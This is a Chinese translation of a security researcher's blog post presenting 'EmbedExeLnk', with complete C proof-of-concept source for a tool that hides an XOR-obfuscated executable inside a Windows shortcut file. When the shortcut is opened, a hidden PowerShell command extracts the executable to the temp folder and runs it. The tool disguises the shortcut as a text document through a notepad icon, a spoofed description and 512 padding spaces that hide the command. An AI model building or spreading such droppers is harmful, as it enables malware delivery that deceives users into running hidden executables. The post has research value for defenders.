-
-
[翻译]EmbedExeLnk - 在LNK内嵌入EXE并自动执行
-
发表于: 2022-2-10 11:00 5877
-
翻译
原文地址:https://www.x86matthew.com/view_post?id=embed_exe_lnk
功能:在LNK内嵌入EXE并自动执行
我已经在自然环境下看到了各种恶意的LNK文件。这些链接文件通常执行一个脚本(Powershell、VBScript等),下载一个外部payload。
我给自己设定的挑战是创建一个内嵌EXE文件的LNK文件,而不需要外部下载。
这是通过创建一个LNK文件来实现的,EXE文件被附加到最后。LNK文件执行一些Powershell命令,从LNK的末尾读取EXE的内容,将其复制到%TEMP%文件夹中的一个文件,并执行它。
我开发了一个程序,从目标EXE文件中创建一个LNK。
这种方法遇到一些问题:
1. 找到LNK文件的文件名。
当执行Powershell命令从LNK中提取EXE时,我们不知道已经执行的LNK文件的文件名。我们可以对文件名进行硬编码,但这不是一个可靠的解决方案。通过在Powershell命令中存储LNK文件的总大小,并检查当前目录中的所有*.LNK文件,以找到一个具有匹配文件大小的文件来解决这个问题。
2. 找到LNK中EXE数据的偏移量。
这一点通过在Powershell命令中存储原始LNK文件的长度(不包括附加的EXE数据)来解决。
3. 在查看LNK文件的 "属性 "时,Powershell命令是可见的。
这一点通过在目标字段前加上512个空格字符得到了解决。这使 "属性 "对话框中的文本字段溢出,只显示空格。
4. LNK文件有一个可执行文件的图标。
通过将图标位置(使用HasIconLocation标志)设置为"%windir%\system32\notepad.exe "来解决这个问题。
5. 悬停在LNK文件上的位置显示为 "cmd"。
通过将快捷方式描述(使用“名称”标志)设置为“Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23“
6. 在十六进制编辑器中打开LNK文件时,EXE文件清晰可见。
通过使用XOR对EXE文件数据的每个字节进行 "加密",并使用Powershell对其进行 "解密",这一点得到了改善。
完整的LNK目标看起来像这样。
cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip [LNK_FILE_SIZE_EXCLUDING_EXE])) -Encoding Byte; ^& $path;
下面是完整的概念验证程序代码:
#include <stdio.h> #include <windows.h> #define INVALID_SET_FILE_POINTER 0xFFFFFFFF #define HasName 0x00000004 #define HasArguments 0x00000020 #define HasIconLocation 0x00000040 #define IsUnicode 0x00000080 #define HasExpString 0x00000200 #define PreferEnvironmentPath 0x02000000 struct ShellLinkHeaderStruct { DWORD dwHeaderSize; CLSID LinkCLSID; DWORD dwLinkFlags; DWORD dwFileAttributes; FILETIME CreationTime; FILETIME AccessTime; FILETIME WriteTime; DWORD dwFileSize; DWORD dwIconIndex; DWORD dwShowCommand; WORD wHotKey; WORD wReserved1; DWORD dwReserved2; DWORD dwReserved3; }; struct EnvironmentVariableDataBlockStruct { DWORD dwBlockSize; DWORD dwBlockSignature; char szTargetAnsi[MAX_PATH]; wchar_t wszTargetUnicode[MAX_PATH]; }; DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription) { HANDLE hLinkFile = NULL; HANDLE hExeFile = NULL; ShellLinkHeaderStruct ShellLinkHeader; EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock; DWORD dwBytesWritten = 0; WORD wLinkDescriptionLength = 0; wchar_t wszLinkDescription[512]; WORD wCommandLineArgumentsLength = 0; wchar_t wszCommandLineArguments[8192]; WORD wIconLocationLength = 0; wchar_t wszIconLocation[512]; BYTE bExeDataBuffer[1024]; DWORD dwBytesRead = 0; DWORD dwEndOfLinkPosition = 0; DWORD dwCommandLineArgsStartPosition = 0; wchar_t *pCmdLinePtr = NULL; wchar_t wszOverwriteSkipBytesValue[16]; wchar_t wszOverwriteSearchLnkFileSizeValue[16]; BYTE bXorEncryptValue = 0; DWORD dwTotalFileSize = 0; // set xor encrypt value bXorEncryptValue = 0x77; // create link file hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hLinkFile == INVALID_HANDLE_VALUE) { printf("Failed to create output file\n"); return 1; } // initialise link header memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader)); ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader); CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID); ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation; ShellLinkHeader.dwFileAttributes = 0; ShellLinkHeader.CreationTime.dwHighDateTime = 0; ShellLinkHeader.CreationTime.dwLowDateTime = 0; ShellLinkHeader.AccessTime.dwHighDateTime = 0; ShellLinkHeader.AccessTime.dwLowDateTime = 0; ShellLinkHeader.WriteTime.dwHighDateTime = 0; ShellLinkHeader.WriteTime.dwLowDateTime = 0; ShellLinkHeader.dwFileSize = 0; ShellLinkHeader.dwIconIndex = 0; ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE; ShellLinkHeader.wHotKey = 0; // write ShellLinkHeader if(WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set link description memset(wszLinkDescription, 0, sizeof(wszLinkDescription)); mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1); wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription); // write LinkDescriptionLength if(WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // write LinkDescription if(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set target command-line memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments)); _snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue); wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments); // write CommandLineArgumentsLength if(WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // store start of command-line arguments position dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL); // write CommandLineArguments if(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set link icon path memset(wszIconLocation, 0, sizeof(wszIconLocation)); mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1); wIconLocationLength = (WORD)wcslen(wszIconLocation); // write IconLocationLength if(WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // write IconLocation if(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // initialise environment variable data block memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock)); EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock); EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001; strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1); mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1); // write EnvironmentVariableDataBlock if(WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // store end of link data position dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL); // open target exe file hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hExeFile == INVALID_HANDLE_VALUE) { printf("Failed to open exe file\n"); // error CloseHandle(hLinkFile); return 1; } // append exe file to the end of the lnk file for(;;) { // read data from exe file if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0) { // error CloseHandle(hExeFile); CloseHandle(hLinkFile); return 1; } // check for end of file if(dwBytesRead == 0) { break; } // "encrypt" the exe file data for(DWORD i = 0; i < dwBytesRead; i++) { bExeDataBuffer[i] ^= bXorEncryptValue; } // write data to lnk file if(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0) { // error CloseHandle(hExeFile); CloseHandle(hLinkFile); return 1; } } // close exe file handle CloseHandle(hExeFile); // store total file size dwTotalFileSize = GetFileSize(hLinkFile, NULL); // find the offset value of the number of bytes to skip in the command-line arguments pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)"); if(pCmdLinePtr == NULL) { // error CloseHandle(hLinkFile); return 1; } pCmdLinePtr += strlen("select -Skip "); // move the file pointer back to the "000000" value in the command-line arguments if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // error CloseHandle(hLinkFile); return 1; } // overwrite link file size memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue)); _snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition); if(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // find the offset value of the total lnk file length in the command-line arguments pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}"); if(pCmdLinePtr == NULL) { // error CloseHandle(hLinkFile); return 1; } pCmdLinePtr += strlen("_.length -eq "); // move the file pointer back to the "0x00000000" value in the command-line arguments if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // error CloseHandle(hLinkFile); return 1; } // overwrite link file size memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue)); _snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize); if(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // close output file handle CloseHandle(hLinkFile); return 0; } int main(int argc, char *argv[]) { char *pExePath = NULL; char *pOutputLinkPath = NULL; printf("EmbedExeLnk - www.x86matthew.com\n\n"); if(argc != 3) { printf("Usage: %s [exe_path] [output_lnk_path]\n\n", argv[0]); return 1; } // get params pExePath = argv[1]; pOutputLinkPath = argv[2]; // create a link file containing the target exe if(CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\\system32\\notepad.exe", "Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23") != 0) { printf("Error\n"); return 1; } printf("Finished\n"); return 0; }
下载样本LNK文件
https://www.x86matthew.com/sample/x86matthew.lnk
(这将执行我用汇编写的一个小程序,它调用MessageBoxA)